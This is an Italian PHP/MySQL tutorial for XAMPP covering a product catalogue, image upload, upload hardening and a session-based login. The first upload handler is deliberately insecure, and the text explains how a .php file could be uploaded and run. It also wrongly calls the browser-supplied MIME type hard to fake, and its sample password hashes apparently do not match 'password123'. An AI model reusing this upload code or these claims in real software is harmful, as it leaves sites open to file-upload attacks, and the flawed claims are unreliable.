$conn = new mysqli(...): Crea una "linea telefonica" con il database e la salva nella variabile $conn. Ogni volta che vorrai parlare con il database, userai questa linea.$conn->connect_error: Controlla se la linea telefonica funziona. Se Γ¨ NULL (nessun errore), la connessione Γ¨ attiva. Se contiene un messaggio, qualcosa Γ¨ andato storto e la linea non Γ¨ stata aperta.die("..."): Significa "muori qui". Se non riesci a collegarti al database (la linea Γ¨ caduta), non ha senso continuare. Mostro l'errore e fermo tutto.La password Γ¨ sbagliata. Su XAMPP la password di root Γ¨ vuota. Prova a cambiare $password = ""; (con le virgolette vuote). Se hai cambiato la password in phpMyAdmin, metti quella.
Questa pagina Γ¨ come un modulo cartaceo che l'utente compila. Quando clicca "Salva", i dati vengono inviati a inserimento.php.
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Inserisci Prodotto</title>
</head>
<body>
<h2>π Inserisci Nuovo Prodotto</h2>
<form action="inserimento.php" method="post">
<label>Nome prodotto:</label><br>
<input type="text" name="nome" required><br><br>
<label>Descrizione:</label><br>
<textarea name="descrizione" rows="3" cols="40"></textarea><br><br>
<label>Prezzo (β¬):</label><br>
<input type="number" name="prezzo" step="0.01" required><br><br>
<label>Nome file immagine (es: laptop.jpg):</label><br>
<input type="text" name="immagine" placeholder="Inserisci il nome del file"><br><br>
<input type="submit" value="πΎ Salva Prodotto">
</form>
<p><a href="index.html">β Torna alla home</a></p>
</body>
</html>
action="inserimento.php": Dopo aver compilato, i dati vengono mandati a questo file PHP.method="post": I dati viaggiano "nascosti" nella richiesta (non si vedono nell'URL). Si usa per operazioni che modificano i dati (come inserire).name="nome": Questo Γ¨ FONDAMENTALE. Γ il "nome" che userΓ PHP per recuperare il valore. Quando l'utente scrive "Laptop" nel campo, in PHP potrai prendere $_POST['nome'] e otterrai "Laptop".required: Il campo non puΓ² essere lasciato vuoto (il browser lo controlla da solo).Il campo "Nome file immagine" non carica il file! Devi prima copiare manualmente l'immagine (es: laptop.jpg) nella cartella immagini del progetto, poi scrivere qui solo il nome del file.
Questo file fa tre cose:
$_POST)connessione.php)prodotti<?php
// 1. APRO la "porta" del database
require_once 'connessione.php';
// 2. PRENDO i dati che l'utente ha inviato dal form
$nome = $_POST['nome']; // Es: "Laptop Gaming"
$descrizione = $_POST['descrizione']; // Es: "16GB RAM, SSD 512GB"
$prezzo = $_POST['prezzo']; // Es: 1299.99
$immagine = $_POST['immagine']; // Es: "laptop.jpg" (nome dell'immagine)
// 3. SE l'utente ha scritto un nome immagine (es: laptop.jpg),
// COSTRUISCO il percorso completo per accedere all'immagine e visualizzarla
if (!empty($immagine)) {
$immagine = "immagini/" . $immagine; // da laptop.jpg ottengo immagini/laptop.jpg
} else {
$immagine = NULL; // Se non ha scritto niente, lascio il campo vuoto (NULL)
}
// 4. PREPARO la query con SEGNAPOSTI (?) - METODO SICURO!
$stmt = $conn->prepare(
"INSERT INTO prodotti (nome, descrizione, prezzo, immagine)
VALUES (?, ?, ?, ?)"
);
// 5. "LEGO" i valori veri ai segnaposto
// "ssds" = stringa, stringa, double, stringa
$stmt->bind_param("ssds", $nome, $descrizione, $prezzo, $immagine);
// 6. ESEGUO la query: i dati vengono salvati nel database!
$stmt->execute();
// 7. Mostro un messaggio di conferma all'utente
echo "<h2>β
Prodotto salvato con successo!</h2>";
echo "<p>Nome: " . htmlspecialchars($nome) . "</p>";
echo "<p>Prezzo: β¬" . htmlspecialchars($prezzo) . "</p>";
if ($immagine) {
echo "<p>Immagine: <img src='" . htmlspecialchars($immagine) . "' width='100'></p>";
}
echo "<p><a href='index.html'>β Torna alla home</a></p>";
// 8. Chiudo tutto
$stmt->close();
$conn->close();
?>
Ora creiamo una pagina per cercare i prodotti per nome. La ricerca Γ¨ una operazione di lettura, quindi usiamo method="get" (i dati appaiono nell'URL).
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Cerca Prodotti</title>
</head>
<body>
<h2>π Cerca Prodotti</h2>
<form action="ricerca.php" method="get">
<label>Cerca per nome:</label>
<input type="text" name="nome" placeholder="es: laptop, mouse...">
<input type="submit" value="π Cerca">
</form>
<p><a href="index.html">β Torna alla home</a></p>
</body>
</html>
<?php
require_once 'connessione.php';
// 1. PRENDO il termine di ricerca dall'URL
$nome = $_GET['nome']; // Es: ?nome=laptop β $nome = "laptop"
// 2. PREPARO la query (con segnaposto per sicurezza)
$stmt = $conn->prepare(
"SELECT * FROM prodotti WHERE nome = ?"
);
$stmt->bind_param("s", $nome); // "s" = stringa
// 3. ESEGUO la query
$stmt->execute();
$result = $stmt->get_result(); // Ottengo i risultati
// 4. MOSTRO i risultati
echo "<h2>Risultati per '" . htmlspecialchars($nome) . "'</h2>";
if ($result->num_rows > 0) {
echo "<p>Trovati <strong>" . $result->num_rows . "</strong> prodotti:</p>";
// Intestazione tabella
echo "<table border='1' style='border-collapse: collapse; width: 100%;'>";
echo "<tr style='background-color: #3498db; color: white;'>";
echo "<th>ID</th><th>Immagine</th><th>Nome</th><th>Descrizione</th><th>Prezzo</th></tr>";
// 5. CICLO tutti i risultati (una riga per prodotto)
while($row = $result->fetch_assoc()) {
echo "<tr>";
echo "<td>" . $row["id"] . "</td>";
// Se c'Γ¨ l'immagine, la mostro, altrimenti "N/D"
if (!empty($row["immagine"])) {
echo "<td><img src='" . htmlspecialchars($row["immagine"]) . "' width='80'></td>";
} else {
echo "<td>N/D</td>";
}
echo "<td>" . htmlspecialchars($row["nome"]) . "</td>";
echo "<td>" . htmlspecialchars($row["descrizione"]) . "</td>";
echo "<td>β¬" . $row["prezzo"] . "</td>";
echo "</tr>";
}
echo "</table>";
} else {
echo "<p>β οΈ Nessun prodotto trovato.</p>";
}
echo "<p><a href='ricerca.html'>π Nuova ricerca</a> | ";
echo "<a href='index.html'>π Home</a></p>";
$stmt->close();
$conn->close();
?>
In questo progetto NON salviamo le immagini nel database (non usiamo il tipo BLOB). PerchΓ©?
"immagini/laptop.jpg")Devi creare manualmente questa cartella dentro C:\xampp\htdocs\progetto\.
C:\xampp\htdocs\progetto\immagini\laptop.jpg
C:\xampp\htdocs\progetto\immagini\mouse.png
C:\xampp\htdocs\progetto\immagini\...
foto.jpg) dentro la cartella immagini del progetto.foto.jpg"immagini/" . "foto.jpg" β "immagini/foto.jpg""immagini/foto.jpg" nel database (nella colonna immagine)<img src="..."><img src="immagini/foto.jpg"> e va a prendersi il file dalla cartella immaginiSegui questi passi per essere sicuro che il tuo progetto sia corretto:
C:\xampp\htdocs\progetto\immagini\
prova.jpg)http://localhost/progetto/inserimento.htmlhttp://localhost/progetto/ricerca.htmlHai creato un'applicazione web completa che:
La porta 80 Γ¨ giΓ usata da un altro programma (spesso Skype, TeamViewer o IIS).
C:\xampp\apache\conf\httpd.confListen 80 e cambia in Listen 8080http://localhost:8080/progetto/Cause comuni:
netstat -ano | findstr :3306
Vedi quale processo usa la porta e fermalo.
ibdata1 in C:\xampp\mysql\data\ si Γ¨ corrotto. Soluzione:
backup (sempre in data) e rinominarla in dataSe vedi una pagina bianca invece del codice, significa che ci sono errori PHP che non vengono mostrati.
Per abilitare la visualizzazione degli errori:
C:\xampp\php\php.inidisplay_errors e cambia in display_errors = Onerror_reporting e imposta error_reporting = E_ALLSELECT * FROM prodotti)$row["nome"]) invece che per posizione.Scenario: Inserimento di un prodotto con immagine
inserimento.html e compila il form (nome, descrizione, prezzo, nome file immagine)inserimento.phpinserimento.php riceve i dati in $_POST"immagini/" . $_POST['immagine']? (segna posti)bind_param("ssds", ...)Scenario: Ricerca di prodotti
ricerca.html e scrive "laptop"ricerca.php?nome=laptopricerca.php legge $_GET['nome']SELECT * FROM prodotti WHERE nome = ?bind_param("s", $nome)while($row = $result->fetch_assoc())<img src="...">Hai imparato a:
Prossimi passi: Potresti aggiungere la modifica dei prodotti, la cancellazione, il caricamento diretto delle immagini, la paginazione, ecc.
Nella versione base, l'utente doveva copiare manualmente l'immagine nella cartella immagini e poi scriverne il nome nel form. Ora rendiamo l'inserimento piΓΉ semplice per l'utente: l'utente puΓ² selezionare un'immagine direttamente dal proprio computer con un clic, e il server si occuperΓ di salvarla automaticamente nella cartella immagini.
enctype="multipart/form-data" (obbligatorio per caricamento)<input type="file" name="immagine">$_FILES invece di $_POST per gestire il fileimmaginiIl form deve avere l'attributo enctype="multipart/form-data" e un campo di tipo file:
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Inserisci Prodotto</title>
</head>
<body>
<h2>π Inserisci Nuovo Prodotto</h2>
<!-- ATTENZIONE: enctype Γ¨ OBBLIGATORIO per caricamento file -->
<form action="inserimento.php" method="post" enctype="multipart/form-data">
<label>Nome prodotto:</label><br>
<input type="text" name="nome" required><br><br>
<label>Descrizione:</label><br>
<textarea name="descrizione" rows="3" cols="40"></textarea><br><br>
<label>Prezzo (β¬):</label><br>
<input type="number" name="prezzo" step="0.01" required><br><br>
<label>Immagine prodotto:</label><br>
<input type="file" name="immagine">
<br><br>
<input type="submit" value="πΎ Salva Prodotto">
</form>
<p><a href="index.html">β Torna alla home</a></p>
</body>
</html>
Con type="file" il browser mostra un pulsante "Sfoglia" che permette di scegliere un file dal computer. L'utente non deve piΓΉ copiare manualmente il file nella cartella immagini!
Ora il PHP deve:
$_POST$_FILES (non da $_POST)immagini con un nome univoco<?php
require_once 'connessione.php';
// 1. Dati normali dal form
$nome = $_POST['nome'];
$descrizione = $_POST['descrizione'];
$prezzo = $_POST['prezzo'];
// 2. Gestione caricamento file
$immagine = NULL; // Valore di default: nessuna immagine
// Controllo se Γ¨ stato caricato un file senza errori
if (isset($_FILES['immagine']) && $_FILES['immagine']['error'] === UPLOAD_ERR_OK) {
// 2.1. Recupero informazioni sul file
$tmp_name = $_FILES['immagine']['tmp_name']; // Percorso temporaneo sul server
$nome_originale = $_FILES['immagine']['name']; // Nome originale (es: "foto.jpg")
// 2.2. Estraggo l'estensione dal nome originale
// pathinfo() analizza il nome del file e restituisce informazioni come estensione, directory, ecc.
// PATHINFO_EXTENSION specifica che vogliamo solo l'estensione (es: "jpg", "png", "gif")
// Questo Γ¨ importante: memorizziamo l'estensione del file originale perchΓ© quando generiamo
// un nuovo nome univoco, dobbiamo mantenere l'estensione originale, altrimenti il file
// perderebbe il suo tipo e potrebbe non essere piΓΉ visualizzabile/apribile correttamente
$estensione = pathinfo($nome_originale, PATHINFO_EXTENSION);
// 2.3. Creo un nome UNIVOCO per evitare conflitti
// e aggiungo l'estensione del file originale
// (memorizzata nell'istruzione precedente)
// uniqid('img_', true) genera un identificativo unico basato sull'orario corrente
// - 'img_' Γ¨ un prefisso per riconoscere facilmente i file caricati
// - true rende il nome ancora piΓΉ unico, quasi impossibile che due file abbiano lo stesso nome
// Questo previene: (1) sovrascritture se due utenti caricano file con lo stesso nome,
// (2) attacchi di sicurezza con nomi file dannosi, (3) problemi con caratteri speciali
$nome_univoco = uniqid('img_', true) . '.' . $estensione;
// 2.4. Percorso completo dove salvare il file
$destinazione = 'immagini/' . $nome_univoco;
// 2.5. Sposto il file dalla cartella temporanea alla cartella definitiva
// e controllo se lo spostamento Γ¨ avvenuto con successo
if (move_uploaded_file($tmp_name, $destinazione)) {
// Se lo spostamento ha successo, salvo il percorso nel DB
$immagine = $destinazione;
} else {
// Se fallisce, mostro un errore (ma potrei anche ignorarlo e continuare senza immagine)
echo "<p class='warning'>β οΈ Attenzione: impossibile salvare l'immagine.</p>";
}
}
// 3. Inserimento nel database (con o senza immagine)
$stmt = $conn->prepare(
"INSERT INTO prodotti (nome, descrizione, prezzo, immagine)
VALUES (?, ?, ?, ?)"
);
// "ssds" = stringa, stringa, double, stringa (NULL se $immagine Γ¨ NULL)
$stmt->bind_param("ssds", $nome, $descrizione, $prezzo, $immagine);
$stmt->execute();
// 4. Messaggio di conferma
echo "<h2>β
Prodotto salvato con successo!</h2>";
echo "<p>Nome: " . htmlspecialchars($nome) . "</p>";
echo "<p>Prezzo: β¬" . htmlspecialchars($prezzo) . "</p>";
if ($immagine) {
echo "<p>Immagine: <img src='" . htmlspecialchars($immagine) . "' width='100'></p>";
}
echo "<p><a href='index.html'>β Torna alla home</a></p>";
$stmt->close();
$conn->close();
?>
$_FILES['immagine']: Contiene tutte le informazioni sul file caricato (nome temporaneo, nome originale, dimensione, ecc.)UPLOAD_ERR_OK: Costante che vale 0, significa "nessun errore"pathinfo(): Estrae informazioni dal percorso del file (in questo caso l'estensione)uniqid(): Genera un ID univoco basato sul tempo corrente (evita che due file con lo stesso nome si sovrascrivano)move_uploaded_file(): L'unica funzione SICURA per spostare un file caricato. Verifica che il file provenga davvero da un caricamento HTTP.Il codice usa uniqid() che genera un nome file casuale, quindi alcuni problemi sono giΓ prevenuti:
img_5f7c8d9e.jpg)immagini/), non usa il nome originalePerΓ² mancano ancora questi controlli di sicurezza:
.php rinominato come .jpg β serve controllo MIME typeβ
Per un progetto didattico locale (XAMPP sul tuo PC) questo codice va bene.
β Per un sito pubblico, aggiungi i controlli della sezione 10 (Miglioramenti di Sicurezza).
immagini in C:\xampp\htdocs\progetto\http://localhost/progetto/inserimento.htmlhttp://localhost/progetto/ricerca.html e cerca il prodotto: dovresti vedere l'immagine nella tabellaOra il tuo progetto permette di caricare immagini direttamente dal computer, senza bisogno di copiarle manualmente nella cartella immagini.
Il codice mostrato sopra funziona, ma Γ¨ vulnerabile. Questa sezione spiega COSA aggiungere per renderlo piΓΉ sicuro. Non Γ¨ obbligatorio per il progetto didattico, ma Γ¨ importante saperlo per quando costruirai siti reali.
malicious.php e poi eseguirlo visitando http://localhost/progetto/immagini/malicious.php../../etc/passwd e sovrascrivere file di sistemaNon fidarsi dell'estensione del file! Un attacker puΓ² rinominare script.php in foto.jpg. Dobbiamo verificare il tipo MIME (che Γ¨ piΓΉ affidabile).
// Dopo aver verificato UPLOAD_ERR_OK, aggiungi:
$allowed_types = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
if (!in_array($_FILES['immagine']['type'], $allowed_types)) {
die("β Tipo di file non consentito. Solo immagini JPG, PNG, GIF, WebP.");
}
Il browser invia il tipo MIME (es: image/jpeg) basandosi sul contenuto del file, non solo sull'estensione. Γ piΓΉ difficile da falsificare.
Limita la dimensione per evitare che un utente carichi file troppo grandi che potrebbero intasare il disco.
// 2 MB (2 * 1024 * 1024 byte) $max_size = 2 * 1024 * 1024; if ($_FILES['immagine']['size'] > $max_size) { // Nota: c'era un errore di digitazione $FILES, correggo in $_FILES die("β File troppo grande. Massimo 2 MB."); }
Usa uniqid() per generare un nome file casuale e unico. Questo risolve DUE problemi in una volta:
// Genera un nome unico e sicuro
$nome_univoco = uniqid('img_', true) . '.' . $estensione;
$destinazione = 'immagini/' . $nome_univoco;
move_uploaded_file($tmp_name, $destinazione);
immagini/), non il nome originaleβ NON serve preg_replace() se usi uniqid() perchΓ© il nome originale del file non viene mai usato!
Se per caso un file .php viene caricato nella cartella immagini, potrebbe essere eseguito se qualcuno visita l'URL. Per bloccare questa possibilitΓ , crea un file .htaccess dentro C:\xampp\htdocs\progetto\immagini\ con questo contenuto:
# Blocca l'esecuzione di script PHP in questa cartella <FilesMatch "\.php"> Order Allow,Deny Deny from all </FilesMatch> # Blocca anche altri file eseguibili (opzionale) <FilesMatch "\.(pl|py|jsp|asp|sh|bash)$"> Order Allow,Deny Deny from all </FilesMatch>
Γ un file di configurazione di Apache che dice: "Nella cartella immagini, nega l'accesso a tutti i file con estensione .php". In questo modo, anche se un file hacker.php viene caricato, non potrΓ essere eseguito.
La pratica più sicura è salvare i file fuori dalla radice web (cioè non in C:\xampp\htdocs\). In questo modo, nessun file caricato potrà mai essere eseguito direttamente via web.
// 1. Sposta la cartella immagini FUORI da C:\xampp\htdocs\ // Es: C:\xampp\uploads\ invece di C:\xampp\htdocs\progetto\immagini\ // 2. Modifica il percorso in PHP $destination = '../uploads/' . $nome_univoco; // Nota: .. risale di una cartella // 3. Per visualizzare l'immagine, crea uno script "leggi_immagine.php" che: // - Riceve l'ID del prodotto // - Legge il percorso dal database // - Legge il file dal disco (fuori da C:\xampp\htdocs\) // - Lo invia al browser con header("Content-Type: image/jpeg"); // - Nel HTML userai: <img src="leggi_immagine.php?id=123">
Questo metodo Γ¨ piΓΉ sicuro ma piΓΉ complesso. Per un progetto didattico locale, la cartella immagini dentro C:\xampp\htdocs\progetto\ con il file .htaccess Γ¨ sufficiente.
Ecco come sarebbe inserimento.php con TUTTI i controlli di sicurezza (da studiare, non da usare nel progetto base):
<?php
require_once 'connessione.php';
$nome = $_POST['nome'];
$descrizione = $_POST['descrizione'];
$prezzo = $_POST['prezzo'];
$immagine = NULL;
if (isset($_FILES['immagine']) && $_FILES['immagine']['error'] === UPLOAD_ERR_OK) {
// 1. CONTROLLO DIMENSIONE MASSIMA (2 MB)
$max_size = 2 * 1024 * 1024;
if ($_FILES['immagine']['size'] > $max_size) {
die("β File troppo grande. Massimo 2 MB.");
}
// 2. CONTROLLO TIPO MIME (solo immagini)
$allowed_types = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
if (!in_array($_FILES['immagine']['type'], $allowed_types)) {
die("β Tipo di file non consentito. Solo immagini JPG, PNG, GIF, WebP.");
}
// 3. PULIZIA NOME FILE (rimuovo caratteri pericolosi)
$nome_originale = $_FILES['immagine']['name'];
$nome_originale = preg_replace("/[^A-Z0-9._-]/i", "_", $nome_originale);
// 4. ESTRAZIONE ESTENSIONE
$estensione = pathinfo($nome_originale, PATHINFO_EXTENSION);
// 5. NOME UNIVOCO (hash del file + timestamp)
$tmp_name = $_FILES['immagine']['tmp_name'];
$hash = md5_file($tmp_name) . time();
$nome_univoco = $hash . '.' . $estensione;
// 6. PERCORSO DESTINAZIONE
$destinazione = 'immagini/' . $nome_univoco;
// 7. SPOSTAMENTO SICURO
if (!move_uploaded_file($tmp_name, $destinazione)) {
die("β Errore nel salvataggio del file.");
}
$immagine = $destinazione;
}
// Inserimento nel DB (come prima)
$stmt = $conn->prepare(
"INSERT INTO prodotti (nome, descrizione, prezzo, immagine)
VALUES (?, ?, ?, ?)"
);
$stmt->bind_param("ssds", $nome, $descrizione, $prezzo, $immagine);
$stmt->execute();
echo "<h2>β
Prodotto salvato con successo!</h2>";
// Messaggio di conferma con i dettagli del prodotto
echo "<p><strong>Nome:</strong> " . htmlspecialchars($nome) . "</p>";
echo "<p><strong>Descrizione:</strong> " . htmlspecialchars($descrizione) . "</p>";
echo "<p><strong>Prezzo:</strong> β¬" . number_format($prezzo, 2) . "</p>";
echo "<p><strong>Immagine:</strong> " . htmlspecialchars($immagine) . "</p>";
echo "<p><a href='elenco.php'>Vedi tutti i prodotti</a> | <a href='carica.php'>Carica un altro prodotto</a></p>";
// Chiudi la connessione
$stmt->close();
$conn->close();
?>
| Controllo | PerchΓ© Γ¨ importante | Come si fa (codice) |
|---|---|---|
| Dimensione massima | Evita che un utente carichi file giganti che riempiono il disco | if ($_FILES['size'] > $max_size) die("..."); |
| Tipo MIME | Evita che vengano caricati file pericolosi (.php, .exe, ecc.) | in_array($_FILES['type'], $allowed_types) |
| Nome file univoco | Evita caratteri pericolosi, path traversal e conflitti tra file |
uniqid('img_', true) . '.' . $estensione
π Spiegazione:
// Con uniqid():
$nuovo_nome = uniqid() . '_' . $nome_originale;
// Risultato: "65f3a2b8e4f12_foto.jpg"
// Con md5_file + time():
$hash = md5_file($tmp_name) . '_' . time();
$nuovo_nome = $hash . '_' . $nome_originale;
// Risultato: "a3c5f8e9d2b1a4f6e8c0d3b5a7f9e1c2_1709876543_foto.jpg"
|
| .htaccess | Blocca l'esecuzione di file PHP nella cartella immagini | File .htaccess con Deny from all per .php |
| Cartella esterna | I file caricati non sono accessibili direttamente via web | Salva fuori da C:\xampp\htdocs\ e usa script per leggerli |
Per il tuo progetto didattico locale, puoi usare la versione semplificata (con minori controlli) perchΓ©:
Quando costruirai un sito vero, devi implementare tutti i controlli di sicurezza visti in questa sezione.
Leggi questo prima! Questi concetti sono fondamentali per capire il resto.
$_SESSION['username']). I dati sono sul server, non nel browser!
$2y$10$92IXUNpkjO0r...). Γ one-way: puoi creare l'hash da una password, ma non tornare indietro.
Le sessioni risolvono un problema fondamentale del web: HTTP Γ¨ "senza memoria". Ogni pagina che visiti Γ¨ isolata dalle altre. Senza sessioni, dovresti reinserire username e password in ogni pagina del sito!
Il problema: HTTP Γ¨ "senza memoria". Ogni richiesta Γ¨ indipendente dalle altre.
Cosa succederebbe:
dashboard.php?username=mario&password=123 β PERICOLOSO! (chiunque vede l'URL ruba le tue credenziali)In sintesi: Senza sessioni, il web sarebbe inutilizzabile per qualsiasi applicazione che richiede "memoria" tra una pagina e l'altra.
La soluzione: Il server usa sessioni + cookie per "ricordarsi" di te.
Cosa succede:
PHPSESSID=abc123) β Γ¨ il "numero dell'armadietto"In sintesi: Con sessioni e cookie, il server ti riconosce ad ogni click senza dover reinserire i dati. Γ come avere un badge che ti identifica in tutto il palazzo!
Nelle sezioni precedenti abbiamo creato la tabella prodotti. Ora aggiungiamo la tabella utenti per gestire login e sessioni.
Apri http://localhost/phpmyadmin, seleziona il database web_app dalla colonna di sinistra, clicca sulla scheda "SQL" in alto e copia/incolla ed esegui il seguente codice:
-- Usa il database web_app (giΓ creato in precedenza) USE web_app; -- Crea la tabella utenti CREATE TABLE IF NOT EXISTS utenti ( id INT AUTO_INCREMENT PRIMARY KEY, -- Numero unico che si assegna da solo username VARCHAR(50) NOT NULL UNIQUE, -- Nome utente (deve essere unico) password VARCHAR(255) NOT NULL, -- Password criptata (hash) tipo ENUM('acquirente', 'venditore') NOT NULL -- Tipo di utente ); -- Inserisce utenti di prova -- La password per tutti Γ¨: password123 -- Gli hash sono diversi perchΓ© password_hash() usa un "sale" casuale INSERT INTO utenti (username, password, tipo) VALUES ('mario_venditore', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', 'venditore'), ('luigi_venditore', '$2y$10$eMKHzsH3hVqF8zN5xK7pL.uX9vR2wQ4tY6sA8bC0dE1fG2hI3jK4m', 'venditore'), ('anna_acquirente', '$2y$10$pLqR7sT9uV1wX3yZ5aB7cO.dE8fG0hI2jK4lM6nO8pQ0rS2tU4vW6', 'acquirente'), ('giovanni_acq', '$2y$10$xY1zA3bC5dE7fG9hI1jK3lM.nO5pQ7rS9tU1vW3xY5zA7bC9dE1fG', 'acquirente');
password123 (puΓ² inserire prodotti)password123 (puΓ² inserire prodotti)password123 (puΓ² solo cercare)password123 (puΓ² solo cercare)C:\xampp\htdocs\progetto\index.html β Pagina pubblica (menu principale) C:\xampp\htdocs\progetto\login.html β Form per inserire credenziali C:\xampp\htdocs\progetto\login.php β "Portinaio": verifica credenziali e crea sessione C:\xampp\htdocs\progetto\logout.php β Distrugge la sessione (esci) C:\xampp\htdocs\progetto\inserisciUtente.html β Form per registrare nuovi utenti C:\xampp\htdocs\progetto\inserisciUtente.php β Cripta password e salva utente nel DB C:\xampp\htdocs\progetto\dashboard.php β Pagina personale dopo login C:\xampp\htdocs\progetto\inserimento.html β Form inserimento (protetta, solo venditori) C:\xampp\htdocs\progetto\inserimento.php β Salva prodotto (protetta, solo venditori) C:\xampp\htdocs\progetto\ricerca.html β Form ricerca (protetta, tutti gli utenti) C:\xampp\htdocs\progetto\ricerca.php β Esegue ricerca (protetta, tutti) C:\xampp\htdocs\progetto\connessione.php β Connessione al database C:\xampp\htdocs\progetto\immagini\ β Cartella immagini prodotti
Questa Γ¨ la pagina di benvenuto che mostra il menu con i link alle varie funzionalitΓ del progetto.
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Catalogo Prodotti - Home</title>
</head>
<body>
<h1>Catalogo Prodotti</h1>
<p><a href="login.html">Accedi</a></p>
<p><a href="inserisciUtente.html">Registrati</a></p>
</body>
</html>
login.html)inserisciUtente.html)β οΈ Nota importante: I link alle pagine protette (inserimento.html per i venditori, ricerca.html per tutti gli utenti) NON sono presenti in index.html perchΓ© queste pagine richiedono il login. Saranno visibili solo nella dashboard dopo aver effettuato l'accesso.
password_hash()<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Inserisci Nuovo Utente</title>
</head>
<body>
<h2>π Registrati</h2>
<form action="inserisciUtente.php" method="post">
<label>Username:</label><br>
<input type="text" name="username" required><br><br>
<label>Password:</label><br>
<input type="password" name="password" required><br><br>
<input type="submit" value="πΎ Registrati">
</form>
<p><a href="index.html">β Torna alla home</a></p>
</body>
</html>
<?php
// 1. Include la connessione al database
require_once "connessione.php";
// 2. Recupera i dati dal form
$username = $_POST['username'];
$password = $_POST['password'];
// 3. Imposta il tipo utente di default
// Tutti i nuovi utenti sono "acquirenti" (non ha senso farlo scegliere all'utente)
$tipo = "acquirente";
// 4. Cripta la password con password_hash()
// PASSWORD_DEFAULT usa l'algoritmo piΓΉ sicuro disponibile
$password_hashata = password_hash($password, PASSWORD_DEFAULT);
// 5. Prepara la query con i segnaposto
$stmt = $conn->prepare(
"INSERT INTO utenti (username, password, tipo) VALUES (?, ?, ?)"
);
// 6. Collega i valori ai segnaposto
// "sss" = stringa, stringa, stringa (username, password hash, tipo)
$stmt->bind_param("sss", $username, $password_hashata, $tipo);
// 7. Esegue l'inserimento
if ($stmt->execute()) {
echo "β
Utente registrato con successo!";
echo '<p><a href="login.html">Vai al login</a></p>';
} else {
echo "β Errore: " . $stmt->error;
// Potrebbe esserci un errore se l'username esiste giΓ (Γ¨ UNIQUE)
}
// 8. Chiudi la connessione
$stmt->close();
$conn->close();
?>
inserisciUtente.html e inserisciUtente.php nella cartella del progettohttp://localhost/progetto/inserisciUtente.htmlpassword123 Γ¨ stata trasformata con password_hash() in PHP.password_hash('password123', PASSWORD_DEFAULT) tre volte,
otterrai tre hash diversi! Esempio:$2y$10$ABC123xyz$92IXUNpkjO0r...$2y$10$XYZ789abc$vLGpGJk3h8s...$2y$10$QWE456def$mN4oP7qR9s...password_verify().password_verify($password_digitata, $hash_dal_database)
true se la password Γ¨ corretta (i due hash coincidono), false se Γ¨ sbagliata (i due hash sono diversi)."password123").utente1: $2y$10$ABC123xyz... (hash identico)utente2: $2y$10$ABC123xyz... (hash identico)utente3: $2y$10$ABC123xyz... (hash identico)
"password123"utente1: $2y$10$eMKHzsH3hVqF8zN5xK7pL.uX9vR2wQ4tY6sA8bC0dE1fG2hI3jK4mutente2: $2y$10$pLqR7sT9uV1wX3yZ5aB7cO.dE8fG0hI2jK4lM6nO8pQ0rS2tU4vW6utente3: $2y$10$xY1zA3bC5dE7fG9hI1jK3lM.nO5pQ7rS9tU1vW3xY5zA7bC9dE1fG
PASSWORD_DEFAULT Γ¨ una costante di PHP che indica quale algoritmo usare per creare l'hash.$2y$ all'inizio dell'hash)PASSWORD_BCRYPT β Usa esplicitamente bcrypt (uguale a PASSWORD_DEFAULT attualmente)PASSWORD_ARGON2I / PASSWORD_ARGON2ID β Algoritmi piΓΉ moderni (PHP 7.3+)PASSWORD_DEFAULT nei tuoi progetti!
// REGISTRAZIONE (crei l'hash)
$hash = password_hash('password123', PASSWORD_DEFAULT);
// Salvi $hash nel database
// LOGIN (verifichi la password)
if (password_verify('password123', $hash)) {
echo "Password corretta! β
";
} else {
echo "Password sbagliata! β";
}
$2y$10$N9qo8uLOickgx2ZMRZoMye.IjqQBrkHx9Dm0kLlUu.wKxN3
"password123" trasformata in modo sicuro.$2y$10$N9qo8uLOickgx2ZMRZoMye |
IL SALE (22 caratteri casuali) |
.IjqQBrkHx9Dm0kLlUu.wKxN3 |
LA PASSWORD CIFRATA |
password VARCHAR(255)password_hash() puΓ² essere lungo fino a 60 caratteri, ma usiamo 255 per sicurezza futura (se cambiamo algoritmo).tipo ENUM('acquirente', 'venditore')ENUM significa "enumerazione": la colonna puΓ² contenere solo uno dei valori elencati.<?php // βββββββββββββββββββββββββββββββββββββββββββ // LE "CHIAVI" PER ENTRARE NEL DATABASE // βββββββββββββββββββββββββββββββββββββββββββ $servername = "localhost"; $username = "root"; $password = ""; $dbname = "web_app"; // Crea la connessione $conn = new mysqli($servername, $username, $password, $dbname); // Controlla errori if ($conn->connect_error) { die("β Connessione fallita: " . $conn->connect_error); } // Se arriviamo qui, la connessione funziona! π ?>
<!DOCTYPE html>
<html lang="it">
<head>
<meta charset="UTF-8">
<title>Login - Area Riservata</title>
</head>
<body>
<h2>π Accedi al Sistema</h2>
<p>Inserisci le tue credenziali per accedere:</p>
<!--
action="login.php" = i dati vanno al "portinaio" che controlla
method="post" = username e password viaggiano nascosti (non nell'URL)
-->
<form action="login.php" method="post">
<label>Username:</label><br>
<input type="text" name="username" required>
<br><br>
<label>Password:</label><br>
<!-- type="password" maschera i caratteri (mostra puntini) -->
<input type="password" name="password" required>
<br><br>
<input type="submit" value="π Accedi">
</form>
<div class="tip">
<strong>Utenti di prova:</strong><br>
Venditori: mario_venditore / luigi_venditore (password: password123)<br>
Acquirenti: anna_acquirente / giovanni_acq (password: password123)
</div>
<p><a href="index.html">β Torna alla home pubblica</a></p>
</body>
</html>
<input type="password">type="password" maschera i caratteri digitati (mostra puntini o asterischi).method="post" (dati non visibili nell'URL).
